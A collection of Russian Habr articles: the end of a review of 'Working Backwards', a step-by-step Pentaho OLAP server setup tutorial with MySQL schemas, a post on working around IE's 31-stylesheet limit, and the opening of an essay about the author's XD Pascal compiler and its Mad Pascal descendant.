других областях, которые мы изначально не заметили. Мы быстро устранили проблему для клиентки и для всех других пострадавших клиентов.
>
>
В дополнение к таким рассказам, Амазон так же использует отчеты по исключениям для выявления проблем. Например, каждый продукт, продаваемый на Амазоне, имеет свою «прибыль от вложений», далее CP (‘contribution profit’). Прибыль от вложений — деньги, которые Амазон зарабатывает после продажи товара и вычета [различных затрат](https://www.holistics.io/blog/measuring-a-mature-company/#fixed-costs-variable-costs) на этот товар. У Амазон есть отчет по исключениям по прибыли CP, в котором перечислены топ-10 продуктов с отрицательным CP (те, которые не принесли прибыли) по каждой категории за предыдущую неделю. Глубокий анализ этих десяти продуктов, которые часто меняются от недели к неделе, может дать полезную информацию о проблемах в бизнесе, которые могут потребовать действий.
Авторы приходят к выводу, что данные и яркие эпизоды составляют «мощную комбинацию, когда они согласованы, а когда это не так, они являются ценной проверкой друг для друга.»
**Подводим итоги**
Самый значимый совет, который я вынес из книги Working Backwards, заключается в том, что если вы хотите быть хорошим управляющим, вам необходимо измерять свои процессы. На самом деле, как говорит Брайяр, на [первом этапе собеседования](https://review.firstround.com/how-to-build-an-invention-machine-6-lessons-that-powered-amazons-success):
«Просто подумайте о бизнесе, как о процессе. Это может быть сложный процесс, но по сути, он выдает такие результаты, как выручка и прибыль, количество клиентов и темпы роста. **Чтобы вам быть хорошим управленцем, не достаточно фокусироваться только на этих выходных метриках — вам нужно определить контролируемые входные показатели.** Многие говорят, что Амазон особо не заботится о прибыли или росте. Думаю, данные говорят об обратном, но что действительно правда, так это то, что бОльшая часть внимания уделяется входным метрикам: если вы что-то делаете, вы должны это правильно контролировать, и тогда вы увидите желаемые результаты в выходных метриках. **Лучшие управленцы, которых я видел, очень четко понимают, какие «кнопки» нажимать и какие «рычаги» использовать, чтобы получить результат, который они хотят.** Они понимают процессы.(восклицательный знак)»
Working Backwards — фантастическая книга. Она ни на что не похожа, она дает представление о том, как на самом деле выглядит прогрессивная, принимающая решения на основе данных компания изнутри. Купите ее, прочитайте ее, расскажите о ней своим коллегам — не могу подобрать слов, как рекомендую ее.
***В продолжение:****Я написал пост, в котором подробно объяснил, почему я считаю понятие "контролируемые входные показатели" Амазона таким замечательным. Читайте его*[*здесь*](https://www.holistics.io/blog/obsess-over-controllable-input-metrics/)*.* | https://habr.com/ru/post/584918/ | null | ru | null |
# Запуск OLAP-сервера на базе Pentaho по шагам
Итак, дорогие хабровчане, хочу представить на ваше обозрение инструкцию, как нам пришлось поднимать OLAP-сервер в нашей компании. Шаг за шагом мы пройдем по пути, который был нами проделан, начиная с установки и настройки Pentaho и заканчивая подготовкой таблиц данных и публикацией olap-куба на сервере. Естественно, многое здесь может быть сумбурным/неточным/неоптимальным, но когда нам понадобилось поднять сервер и посмотреть, сможет ли Pentaho заменить нашу самописную статистику, у нас не было и такого…
Весь процесс поднятия OLAP-сервера я разбил на 3 части:
* [настройка Pentaho BI Server](#part1)
* [подготовка таблиц фактов и измерений](#part2)
* [создание куба и публикация его на сервере](#part3)
### Настройка Pentaho BI Server
Устанавливаем [JDK](http://www.oracle.com/technetwork/java/javase/downloads/index.html).
Выставляем переменные окружения:
```
JAVA_HOME=c:\Program Files\Java\jdk1.7.0_15
JRE_HOME=c:\Program Files\Java\jdk1.7.0_15\jre
PENTAHO_JAVA_HOME=c:\Program Files\Java\jdk1.7.0_15
```
Скачиваем и распаковываем свежую версию Pentaho Business Intelligence ([biserver-ce-4.8.0-stable.zip](http://sourceforge.net/projects/pentaho/files/Business%20Intelligence%20Server/4.8.0-stable/)). Я залил содержимое архива (папки *administration-console* и *biserver-ce*) в папку *c:\Pentaho*. Итак, распаковать — распаковали, но сервер пока еще не сконфигурирован. Этим мы сейчас и займемся…
Скачиваем MySQL-коннектор для Java ([mysql-connector-java-5.1.23-bin.jar](http://www.mysql.com/downloads/connector/j/)). Закидываем его в папку *c:\Pentaho\biserver-ce\tomcat\lib*.
По умолчанию Pentaho использует движок HSQLDB, т.е. создает и хранит все базы данных в памяти, в том числе тестовую базу sampledata. Это еще нормально для небольших таблиц (таких, как демо), но для боевых данных обычно движок меняют на MySQL или Oracle, например. Мы будем использовать MySQL.
Заливаем в MySQL базы hibernate и quartz. Обе они используется под системные нужды Pentaho. Качаем [отсюда](https://docs.google.com/file/d/0B9Jmocc0fj_EN2MyZjc4ZjEtNzFkNC00NzIzLTljZTctZjIzZWQ1NjU3MzJk/edit?hl=en&pli=1) файлы *1\_create\_repository\_mysql.sql* и *2\_create\_quartz\_mysql.sql*. Импортим их в MySQL.
Теперь наш MySQL-сервер настроен как репозиторий Pentaho. Подконфигурируем Pentaho-сервер для использования этого репозитория по умолчанию. Для этого будем править следующие xml-ки:
1. *\pentaho-solutions\system\applicationContext-spring-security-hibernate.properties*
Меняем driver, url и dialect на **com.mysql.jdbc.Driver**, **jdbc:mysql://localhost:3306/hibernate** и **org.hibernate.dialect.MySQL5Dialect** соответственно.
2. *\tomcat\webapps\pentaho\META-INF\context.xml*
Меняем параметры driverClassName на **com.mysql.jdbc.Driver**, параметры url на **jdbc:mysql://localhost:3306/hibernate** и **jdbc:mysql://localhost:3306/quartz** соответственно в 2-х секциях, параметры validationQuery меняем на **select 1**.
3. *\pentaho-solutions\system\hibernate\hibernate-settings.xml*
В параметре меняем hsql.hibernate.cfg.xml на **mysql5.hibernate.cfg.xml**.
4. *\pentaho-solutions\system\simple-jndi\jdbc.properties*
Удаляем весь ненужный хлам кроме Hibernate и Quartz.
5. Сносим папки *\pentaho-solutions\bi-developers*, *\pentaho-solutions\plugin-samples* и *\pentaho-solutions\steel-wheels*. Это тестовые данные, которые нам нужны в принципе не будет.
6. *\tomcat\webapps\pentaho\WEB-INF\web.xml*
Удаляем или комментим все сервлеты секций **[BEGIN SAMPLE SERVLETS]** и **[BEGIN SAMPLE SERVLET MAPPINGS]**, кроме ThemeServlet.
Удаляем секции **[BEGIN HSQLDB STARTER]** и **[BEGIN HSQLDB DATABASES]**.
Удаляем строки:
```
SystemStatusFilter
/\*
```
7. Удаляем каталог *\data*. Этот каталог содержит тестовую БД, скрипты для запуска этой БД и инициализации репозитория Pentaho.
8. *\pentaho-solutions\system\olap\datasources.xml*
Удаляем каталоги с именами SteelWheels и SampleData.
9. *\pentaho-solutions\system\systemListeners.xml*
Удаляем или комментим строку:
```
```
10. *\tomcat\webapps\pentaho\WEB-INF\web.xml*
Указываем наш solution-path: **c:\Pentaho\biserver-ce\pentaho-solutions**.
11. *\system\sessionStartupActions.xml*
Закомментим или удалим все блоки `...`.
##### Настраиваем web-морду Pentaho
После всех манипуляций с конфигами, можно уже и подзапустить чего-нибудь. Идем в папку с нашим сервером и запускаем **start-pentaho.bat** или sh-шник, кому что нужно в его операционной системе. По идее, никаких ERROR’ов в консоли или логах томката быть уже не должно.
Итак, если все прошло гладко, то по адресу `localhost:8080` отобразится форма входа:
Вводим стандартный логин/пароль (**joe/password**) и попадаем внутрь. Теперь нужно установить olap-клиент, который и будет, собственно, отображать наши к нему запросы. У платной версии Pentaho есть свой клиент, для CE мы использовали плагин Saiku.
Заходим в пункт Pentaho Marketplace верхнего меню, устанавливаем Saiku Analytics.
Тут пока всё, пришло время подготовки данных для аналитики.
### Подготовка таблиц фактов и измерений
Pentaho — это ROLAP-реализация технологии OLAP, т.е. все данные, которые мы будем анализировать, хранятся в обычных реляционных таблицах, разве что, возможно, некоторым образом заранее подготовленных. Поэтому все, что нам нужно, — это создать нужные таблицы.
Скажу немного о предметной области, для которой нам нужна была статистика. Есть сайт, есть клиенты и есть тикеты, которые эти клиенты могут писать. Еще и с комментариями, да. И все эти тикеты наш саппорт разбивает по разным тематикам, проектам, странам. И вот нам было нужно, например, узнать, сколько тикетов по тематике «Доставка» пришло с каждого проекта из Германии за прошлый месяц. И все это разбить по админам, т.е. посмотреть кто из саппорта и сколько таких тикетов обработал и т.д. и т.п.
Все подобные срезы технология OLAP и позволяет проводить. Про сам OLAP подробно рассказывать не стану. Будем считать, что с понятиями OLAP-куба, измерений и мер читатель знаком и в общих чертах представляет себе, что это такое и с чем это едят.
Конечно, реальные данные реальных клиентов я в качестве примера разбирать не буду, а для этой цели воспользуюсь своим небольшим сайтом с футбольной статистикой. Практической пользы от этого немного, но в качестве образца — самое оно.
Итак, есть таблица **players**. Попробуем найти всякую-разную полезную и не очень статистику: количество игроков каждой страны, количество игроков по амплуа, количество действующих игроков, количество российских полузащитников в возрасте от 30 до 40 лет. Ну что-то вроде такого…
Итак, на чем я остановился? А, точно, подготовка таблиц. Тут есть несколько способов: воссоздать все таблицы руками и голыми SQL-никами или воспользоватся утилитой **Pentaho Data Integration** (PDI, также известная как Kettle) — компонент комплекса Pentaho, отвечающий за процесс извлечения, преобразования и выгрузки данных (ETL). Она позволяет установить соединение с определенной БД и с помощью уймы различных инструментов подготовить нужные нам таблицы. Скачиваем [её](http://sourceforge.net/projects/pentaho/files/Data%20Integration/4.4.0-stable/). Закидываем mysql-коннектор в папку lib и запускаем PDI через **Spoon.bat**.
Сначала соберем сердце нашей статистики — таблицу игроков. Изначально ее структура выглядит как-то так:
```
CREATE TABLE IF NOT EXISTS `player` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT COMMENT 'ID',
`name` varchar(40) DEFAULT NULL COMMENT 'Имя',
`patronymic` varchar(40) DEFAULT NULL COMMENT 'Отчество',
`surname` varchar(40) DEFAULT NULL COMMENT 'Фамилия',
`full_name` varchar(255) DEFAULT NULL COMMENT 'Полное имя',
`birth_date` date NOT NULL COMMENT 'Дата рождения',
`death_date` date DEFAULT NULL COMMENT 'Дата смерти',
`main_country_id` int(11) unsigned NOT NULL COMMENT 'ID страны',
`birthplace` varchar(255) DEFAULT NULL COMMENT 'Место рождения',
`height` tinyint(3) unsigned DEFAULT NULL COMMENT 'Рост',
`weight` tinyint(3) unsigned DEFAULT NULL COMMENT 'Вес',
`status` enum('active','inactive') NOT NULL DEFAULT 'active' COMMENT 'Статус игрока - играет, завершил карьеру и т.д.',
`has_career` enum('no','yes') NOT NULL DEFAULT 'no' COMMENT 'Есть ли подробная статистика по карьере',
PRIMARY KEY (`id`),
KEY `name` (`name`),
KEY `surname` (`surname`),
KEY `birth_date` (`birth_date`),
KEY `death_date` (`death_date`),
KEY `has_stat` (`has_career`),
KEY `main_country_id` (`main_country_id`),
KEY `status` (`status`),
KEY `full_name_country_id` (`full_name_country_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Игроки' AUTO_INCREMENT=1;
```
Часть полей (name, surname, patronymic, full\_name или birthplace, например) для статистики не нужна. Поля типа Enum (status, has\_career) нужно вынести в отдельные таблицы измерений, а в основной таблице просто проставить айдишники внешних ключей.
Итак, приступим: **File > New > Job** (Ctrl+Alt+N). Откроется рабочая область задания. Переходим во вкладку View, создаем новое соединение с БД (**Database connections > New**): вбиваем сервер, БД, пользователя и пароль, даем соединению какое-нибудь имя (у меня fbplayers) и сохраняем (*c:\Pentaho\biserver-ce\pentaho-solutions\jobs\fbplayers.kjb*).
Создаем трансформацию (**File > New > Transformation**, Ctrl+N). Сохраним ее под именем *prepare\_tables.ktr*. Точно так же как и с заданием (job), добавляем коннект к БД для трансформации. Готово.
Переходим во вкладку View и раскрываем раздел Input. Выбираем инструмент **Data Grid**. Он хорошо подходит, если нужно вынести какие-то поля с небольшим количеством возможных вариантов в отдельные связанные таблицы. Итак, вытягиваем Data Grid в рабочую область и открываем ее для редактирования двойным кликом. Вбиваем название данного шага трансформации (**Player Status**), начинаем задавать структуру данной таблицы (вкладка Meta) и сами данные (вкладка Data). В структуре имеем 2 поля:
1. Name — id, Type — Integer, Decimal — 11
2. Name — status, Type — String, Length — 10.
Во вкладке Data вбиваем 2 строки: 1 — active, 2 — inactive.
Переходим в раздел Output и вытягиваем оттуда элемент Table Output. Двойной щелчок, задаем имя элемента как **Player Status Dim**. Коннект должен отобразиться в следующей строчке. В поле Target Table пишем название таблицы, которая будет создана в БД для хранения статуса игроков: player\_status\_dim. Ставим чекбокс Truncate Table. Связываем входной и выходной элементы: щелкаем по Player Status и с зажатой кнопкой Shift тянем мышь на Player Status Dim. Связь должна появиться в виде стрелки, соединяющей эти элементы.
Такую же штуку нужно провернуть с флажком для карьеры (**Player Career**):
1. Name — id, Type — Integer, Decimal — 11
2. Name — has\_career, Type — String, Length — 3.
Во вкладке Data вбиваем 2 строки: 1 — no, 2 — yes.
Точно также собираем выходную таблицу **Player Career Dim**.
Теперь вынесем дату рождения игрока в отдельную таблицу измерений. По большому счету, Pentaho позволяет использовать дату прямо в таблице фактов, изначально мы так и делали с данными нашей предметной области. Но возникло несколько проблем:
1. если нужно разбить 2 разные таблицы фактов (например, Игроки и Тренеры) по дате рождения, то нужно общее для них измерение (Dimension);
2. при разбиении даты, лежащей в самой таблице фактов, на составляющие части функции типа extract или year (month, ...) будет применяться к каждой строке таблицы для получения года, месяца и т.д. Что не айс.
Итак, по этим причинам мы переделали нашу изначальную структуру и создали таблицу со всеми уникальными значениями времени, оставив минимальным уровнем часы. Для нашего тестового примера такой детализации не будет, будут только года, месяцы и дни.
Создадим новую трансформацию (**initial\_sql**). Не забываем про коннект. Из коллекции элементов выбираем **Scripting > Execute SQL Script**. В него пишем сборщик дат:
```
DROP TABLE IF EXISTS `player_birth_date_dim`;
CREATE TABLE IF NOT EXISTS `player_birth_date_dim` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT COMMENT 'ID',
`year` smallint(5) unsigned NOT NULL COMMENT 'Год',
`month` tinyint(2) unsigned NOT NULL COMMENT 'Месяц',
`day` tinyint(2) unsigned NOT NULL COMMENT 'День',
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Измерение времени' AUTO_INCREMENT=1 ;
INSERT INTO `player_birth_date_dim`
(SELECT DISTINCT NULL, YEAR(p.birth_date) as `year`,
MONTH(p.birth_date) as `month`, DAY(p.birth_date) as `day`
FROM (
SELECT DISTINCT birth_date FROM player
) AS p)
```
Тут же, в этой трансформации, создаем еще 2 SQL-скрипта — для создания таблицы Player Career Dim и Player Status Dim:
```
DROP TABLE IF EXISTS player_career_dim;
CREATE TABLE IF NOT EXISTS `player_career_dim` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT COMMENT 'ID',
`has_сareer` varchar(3) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
```
```
DROP TABLE IF EXISTS player_status_dim;
CREATE TABLE IF NOT EXISTS `player_status_dim` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT COMMENT 'ID',
`status` varchar(10) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
```
Приступаем к основной части нашей миссии — сборке таблицы фактов. Создаем трансформацию (*player\_fact.ktr*). Про коннект не забыли, правда? Из вкладки Input кидаем Table Input, из Output — Table Output соответственно. В Table Input пишем клёвый SQL-ник:
```
SELECT
p.id AS player_id,
dd.id AS birth_date_id,
p.main_country_id,
p.height,
p.weight,
CASE p.status
WHEN 'active' THEN 1
WHEN 'inactive' THEN 2
END as status_id,
CASE p.has_career
WHEN 'no' THEN 1
WHEN 'yes' THEN 2
END as has_career_id
FROM player AS `p`
INNER JOIN player_birth_date_dim AS dd
ON YEAR(p.birth_date) = dd.`year`
AND MONTH(p.birth_date) = dd.`month` AND DAY(p.birth_date) = dd.`day`
```
В Table Output указываем имя таблицы — **player\_fact**. Связываем исходную и результирующую таблицы стрелкой.
Опять идем в наш job. Из вкладки General добавляем новую трансформацию. Открываем ее, даем имя **Prepare Tables** и указываем путь до нашей сохраненной трансформации *prepare\_tables.ktr*.
То же самое делаем с трансформациями **Initial SQL** и **Player Fact**.
Закидываем на форму кнопку Start и соединяем элементы в следующей последовательсти: **Start > Initial SQL > Prepare Tables > Load Player Fact**.
Теперь можно попробовать запустить задание. В панели инструментов жмакаем зеленый треугольник. Если наши руки были достаточно прямы, то около каждого из наших элементов мы увидим зеленую галочку. Можно зайти на свой сервер и проверить, что таблички действительно созданы. Если что-то пошло не так, то лог покажет все наши грешки.
### Создание куба и публикация его на сервере
Теперь, когда у нас есть подготовленные данные, займемся, наконец, и OLAP-ом. Для создания olap-кубов у Pentaho есть утилита **Schema Workbench**. Скачиваем, распаковываем, закидываем mysql-коннектор в папку drivers, запускаем **workbench.bat**.
Сразу же заходим в меню **Options > Connection**. Вводим наши параметры подключения к БД.
Приступаем: **File > New > Schema**. Сразу сохраним схему (у меня *fbplayers.xml*). Зададим имя схеме.
Через контекстное меню схемы создаем куб. Назовем его именем сущности, статистику по которой будем считать, т.е. **Player**.
Внутри куба указываем таблицу, которая будет у нас таблицей фактов: **player\_fact**.
Если выбрать куб Player, то красная строчка внизу правой области подскажет нам, что в кубе должны быть заданы измерения (Dimensions), т.е. те параметры, по которым будут производиться срезы данных.
Есть 2 способа задать измерение кубу: непосредственно внутри него (через **Add Dimension**) и внутри схемы (Add Dimension у схемы плюс **Add Dimension Usage** у самого куба). Мы в своей статистике использовали второй вариант, т.к. он позволяет одно измерение применить к нескольким таблицам фактов сразу (к нескольким кубам). Эти кубы мы потом объединили в виртуальный куб, что позволило нам выводить статистику по нескольким кубам одновременно.
В нашем тестовом проекте мы также воспользуемся вторым способом, разве что не будем создавать виртуальные кубы.
Итак, добавим первое измерение (по стране). Создаем измерение схемы, даем ему имя **Country**. Внутри него уже есть 1 иерархия, ей зададим имя **Country\_Hierarchy**. В эту иерархию добавляем таблицу, которая хранит значения измерения Country, т.е. country.
Это моя обычная mysql-таблица со списком стран следующей структуры:
```
CREATE TABLE IF NOT EXISTS `country` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT COMMENT 'ID',
`name` varchar(40) NOT NULL COMMENT 'Название',
`english_name` varchar(40) NOT NULL COMMENT 'Название на английском',
`iso_alpha_3` varchar(3) NOT NULL COMMENT 'Трехбуквенный код ISO 3166-1',
PRIMARY KEY (`id`),
KEY `name` (`name`),
KEY `england_name` (`english_name`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Страны' AUTO_INCREMENT=1 ;
```
После этого добавляем в иерархию 1 уровень (Add Level). Назовем его **Country\_Level** и свяжем таблицу фактов с этой таблицей измерения: поле table выставляем в country, column — в id, nameColumn — в name. Т.е. это значит, что при сопоставлении ID страны из таблицы фактов ID страны из таблицы country в качестве результата вернется название страны (для читабельности). Остальные поля в принципе можно и не заполнять.
Теперь мы можем вернуться к кубу Player и задать ему только что созданное измерение (через Add Dimension Usage). Задаем имя (Country), source — это наше созданное измерение Country (в выпадающем списке оно и будет пока единственным), а поле foreignKey — main\_country\_id, т.е. это говорит Pentaho, что когда он видит какой-то main\_country\_id в таблице фактов, он обращается к таблице измерения (Country) по указанному столбцу (id) и подставляет на место main\_country\_id значение name. Как-то так…
Осталось только указать кубику, что мы собственно хотим агрегировать-то )) Добавляем в куб меру (**Add Measure**). Зададим ей имя PlayerCount, агрегатор — distinct-count и поле, по которому будем агрегировать — player\_id. Готово!
Давайте остановимся на этом ненадолго и проверим, что мы тут наколдовали. Запускаем веб-морду Pentaho: `localhost:8080/pentaho` (не забываем про start-pentaho.bat). Заходим в **File > Manage > Data Sources**. Жмем кнопку добавления нового источника. Выбираем тип — Database Table(s). Самое важное, что нам тут нужно — это создать новое соединение (Connection). Задаем имя (Fbplayers) и вбиваем наши данные для доступа к БД. После сохранения Connection’а, жмем везде Cancel, больше нам тут ничего не нужно.
Далее нам нужно опубликовать созданную схему на сервере Pentaho: **File > Publish**. Задаем урл: `localhost:8080/pentaho` и вводим пароль на публикацию. Этот пароль задается в файлике *c:\Pentaho\biserver-ce\pentaho-solutions\system\publisher\_config.xml*. Установим этот пароль в 123, например, юзер и пароль стандартные — joe/password. Если все нормально, то после должно отобразиться окно выбора папки, куда сохранять нашу схему. Вводим имя соединения, которое мы создали на прошлом шаге (Fbplayers) в поле «Pentaho or JNDI Source». Создадим папку *schema* и сохраним файл в нее. Если все прошло нормально, мы должны увидеть радостное окошко:
Пойдемте глядеть! Заходим на веб-морду, открываем Saiku, выбираем наш куб из выпадающего списка. Видим появившиеся измерение Country и меру PlayerCount. Перетягиваем Country\_Level в поле Rows, PlayerCount — в Columns. По умолчанию, на панели Saiku вжата кнопка автоматического выполнения запроса. Обычно стоит ее отжать перед натаскиванием измерений и мер, но это не принципиально. Если автоматическое выполнение отключено, жмем кнопку Run. Радуемся!
Но если вдруг вместо красивых данных вы увидели сообщение вроде “EOFException: Can not read response from server. Expected to read 4 bytes, read 0 bytes before connection was unexpectedly lost”, не волнуйтесь — это бывает, просто нажмите Run еще раз-другой.
Щелчком по стрелочкам на кнопке меры, мы можем отсортировать результирующую выборку по убыванию или возрастанию.
Пока у нас немного данных, давайте посмотрим, что у нас еще доступно. Можно ограничить выводимые данные, скажем, только по странам на букву А:
Получим:
Можно посмотреть графики. Обычно это красиво, если в выборке немного данных.
Можно посмотреть статистику по выборке: минимальный, максимальный показатель, среднее значение и т.д. Можно выгрузить все это достояние в xls или csv. Также накиданный нами с помощью конструктора запрос можно сохранить на сервере, чтобы потом вернуться к нему.
Итак, суть понятна. Давайте создадим еще пару измерений. В принципе, измерения по статусу игрока и наличию карьеры ничем не отличаются от измерения по стране. Да и результатом и в том, и в другом случае будут всего 2 строки (active/inactive и has/no).
Гораздо интереснее обстоит дело с иерархией типа Дата. Ее мы сейчас и создадим. Возвращаемся в Workbench, добавляем новое измерение (**BirthDate**). Ему вместо StandardDimension выставляем параметр **TimeDimension**. Иерархия здесь уже есть. Добавляем таблицу измерения — **player\_birth\_date\_dim**.
Добавляем первый уровень — **Year**. Задаем значения table = player\_birth\_date\_dim, column = id, levelType = TimeYears. Для данного уровня добавляем свойство Key Expression со значением `year`.
Добавляем второй уровень — **Month**. Задаем значения table = player\_birth\_date\_dim, column = id, levelType = TimeMonths. Для данного уровня добавляем свойство Key Expression со значением `month`, Caption Expression со значением “CONCAT(`year`, ', ', MONTHNAME(STR\_TO\_DATE(`month`, '%m')))”.
Добавляем третий уровень — **Day**. Задаем значения table = player\_birth\_date\_dim, column = id, levelType = TimeDays. Для данного уровня добавляем свойство Caption Expression со значением “CONCAT(LPAD(`day`, 2, 0), '.', LPAD(`month`, 2, 0), '.', `year`)”.
Добавляем созданное измерение в куб, в качестве foreignKey указав bith\_date\_id.
Публикуем. Попробуем разбить всех игроков по году рождения.
А теперь добавим к параметру «Год» еще и параметр «Месяц». Pentaho разобьет каждый из годов на месяцы и посчитает количество игроков, рожденных в определенный месяц каждого года. По умолчанию, отображаются только данные по месяцам, но если отжать в тулбаре кнопку «Hide Parents», то можно увидеть и суммарное количество игроков за данный год.
Но основная сила Pentaho, да и всего OLAP, собственно, не в таких простых выборках, а в срезах по нескольким измерениям одновременно. Т.е. например, найдем количество игроков каждой страны, рожденных после 1990 года.
С увеличением количества метрик запросы могут становиться все более сложными и точечными, отражающими конкретную статическую потребность.
На этом наша длинная-длинная статья завершается. Надеюсь, данный туториал поможет кому-то по-новому взглянуть на решения OLAP или, быть даже может, ввести эти решения в своих организациях. | https://habr.com/ru/post/187782/ | null | ru | null |
# Грузим много CSS для IE в режиме разработки
В [Островке](http://ostrovok.ru/) при разработке сайта используется модульная структура. Логические элементы состоят из разметки, стилей и javascript-файлов.
После перехода на такую структуру, пару месяцев все было хорошо. Потом в IE начали пропадать стили из разных блоков, и мы осознали, что столкнулись с проблемой всех крупных проектов – в IE9 и младше не грузится [больше 31го css файла](http://blogs.msdn.com/b/ieinternals/archive/2011/05/14/internet-explorer-stylesheet-rule-selector-import-sheet-limit-maximum.aspx) разом.
Менять бэкенд, что бы он склеивал статику на лету и выводил другую логику специально для IE было непропорционально трудозатратно. И я начал писать скрипт, который решает эту проблему.
Смысл решения известен и успешно применяется. Например, в Яндексе на бэкенде в css'ки импортятся файлы блоками по 31 штуке.
Вначале я решил оптимизировать и грузить в первый файл следующие 30 css файлов импортами. Но в таком случае первый стиль имел приоритет над остальными. Это периодически ломало верстку.
Рабочим алгоритмом стало:
1. Удалить из документа все файлы стилей
2. Генерация тэгов style с 31им импортом.
[Демо](http://lusever.github.com/ie31css/demo/).
За полгода мы все отладили, и скрипт готов увидеть свет. Только **не используйте его на продакшене** – он здорово замедлит рендеринг старницы в IE.
##### Как использовать
Надо подключить [javascript файл](https://github.com/lusever/ie31css/blob/master/ie-31-css-fix.js) на страницу.
А после всех css файлов написать код, который будет видно только в IE:
```
```
Это скрипт увеличит количество возможных css'ок до 961. Надеюсь, хватит всем. | https://habr.com/ru/post/171519/ | null | ru | null |
# Мой компилятор Паскаля и польское современное искусство
Истоки
------
Несколько лет назад я написал компилятор Паскаля. Мотивация была простой: в юности я узнал из своих первых книжек по программированию, что компилятор — вещь чрезвычайно сложная. Это утверждение засело занозой в мозгу и в конце концов потребовало проверки на опыте.
*ha.art.pl*
Сперва родился простейший компилятор [PL/0](https://en.wikipedia.org/wiki/PL/0), а из него постепенно вырос почти полнофункциональный компилятор Паскаля для MS-DOS. Вдохновением мне служила книга [Compiler Construction](http://www.ethoberon.ethz.ch/WirthPubl/CBEAll.pdf), написанная создателем языка Паскаль Никлаусом Виртом. И пусть взгляды Вирта уже устарели и утратили всякую связь с реалиями ИТ, а компиляторы делают совсем не так, как учил Вирт. Однако его методы по-прежнему просты, изящны, а главное — *приносят радость*, ведь самостоятельно разобрать текст программы рекурсивным спуском и сгенерировать машинный код намного заманчивее, чем призывать на помощь [яков](https://en.wikipedia.org/wiki/Yacc), [бизонов](https://en.wikipedia.org/wiki/GNU_Bison) и всех их преемников.
Судьба моего компилятора оказалась не самой тривиальной. Он прожил две жизни: первую — в моих руках, вторую — в руках польских ценителей компьютерных древностей.
XD Pascal
---------
Мой свежеиспечённый компилятор получил название [XD Pascal](https://sourceforge.net/projects/xdpascal/). Он поддерживал все операторы Паскаля, кроме `goto` и `with`. Первый показался мне трудным для реализации, поскольку разрушал идеально иерархичную структуру программы. Второй — создавал путаницу с областями видимости имён.
Поддерживались и все основные типы данных. За рамками остались только беззнаковые целые числа, множества, перечисления и вариантные записи — однако всё это явно не предметы первой необходимости. Тем не менее, я не мог отказать себе в удовольствии от чисел с плавающей точкой и их арифметики на сопроцессоре 8087 — тут сказалась профессиональная склонность к инженерным расчётам.
При реализации процедур и функций я опасался, что большой проблемой окажутся рекурсия и хранение локальных переменных в стеке. Однако настоящая трудность, специфичная для Паскаля, подстерегала совсем в другом месте — в работе с вложенными процедурами. Может возникнуть совершенно невинная надобность обратиться к локальной переменной внешней процедуры из внутренней. Однако во внутренней процедуре нет адреса стекового кадра внешней процедуры — внутренняя процедура не знает, от чего отсчитывать адрес искомой переменной. Этот адрес приходится всякий раз передавать во внутреннюю процедуру через дополнительный скрытый параметр. Подозреваю, что именно это осложнение заставило разработчиков C вовсе отказаться от вложения функций. Однако в Паскале они есть, и с этим приходится считаться.
Генератор кода создавал самые простые исполняемые файлы COM для реального режима MS-DOS. Машинный код генерировался напрямую, без помощи внешнего ассемблера или компоновщика. Для данных я использовал 32-битные регистры архитектуры 80386, а адресация осталась 16-битной, в виде пары сегмент-смещение.
Модель памяти примерно соответствовала «малой» (если кто-то ещё помнит эту терминологию 16-битной эпохи): для кода, глобальных данных и стека выделялось по одному сегменту размером 64 кб.
*Использование памяти*
Генерация файлов EXE и переключение сегментов на лету казались чересчур сложным делом, и тесные рамки «малой» модели заставили меня распрощаться с идеей самокомпиляции. Конечно, мне встречались самокомпилируемые компиляторы, код которых целиком умещался в одном сегменте (например, [Context](http://www.avhohlov.narod.ru/p9800ru.htm)). Однако они редко умели делать хоть что-то полезное кроме этой самокомпиляции. Я же хотел сделать свой компилятор хоть немного пригодным для численных расчётов и вывода графики. Поэтому среди примеров программ появились фракталы, решение линейных уравнений по Гауссу, быстрое преобразование Фурье и даже оценивание фильтром Калмана ошибок инерциальной навигационной системы.
*Фрагмент множества Мандельброта*
*Быстрое преобразование Фурье*
*Оценивание погрешностей инерциальной навигационной системы*
То, что у меня получилось в итоге, больше всего напоминало древний как мир Turbo Pascal 3.0 (ещё без ООП) и любительский [BeRo Tiny Pascal](https://github.com/BeRo1985/berotinypascal). Автор последнего совладал с самокомпиляцией под Windows, однако пожертвовал арифметикой с плавающей точкой и многими тонкостями грамматики, которые мне хотелось соблюсти. Из более современных особенностей в моём XD Pascal появились позаимствованные из Delphi однострочные комментарии (`//`) и автопеременная `Result`.
Впрочем, ещё с самого своего рождения мой компилятор был отмечен печатью смерти. Паскаль уже необратимо выходил из моды, а MS-DOS давно стал архаикой. В тот день, когда я перешёл с 32-битной Windows XP на 64-битную Windows 7 без виртуальной машины DOS, я мысленно похоронил свой проект.
Возрождение
-----------
Затем произошло странное. После трёх лет полного забвения некая группа польских энтузиастов ретрокомпьютинга и любителей Atari отыскала мой компилятор. Судя по всему, абстрактные проблемы самокомпилируемости и строгости реализации грамматики их волновали мало. Им просто нужен был удобный инструмент программирования их любимой машины. Из моего проекта они сделали собственный компилятор [Mad Pascal](http://mads.atari8.info/) для архитектуры 6502. Грамматика языка разрослась, появилась поддержка модулей с секциями интерфейса и реализации, оператора `goto`, беззнаковых целых чисел, множеств и перечислений, ассемблерных вставок. Вместо машинного кода теперь генерировался ассемблерный код. Его финальная трансляция делалась ассемблером собственной разработки.
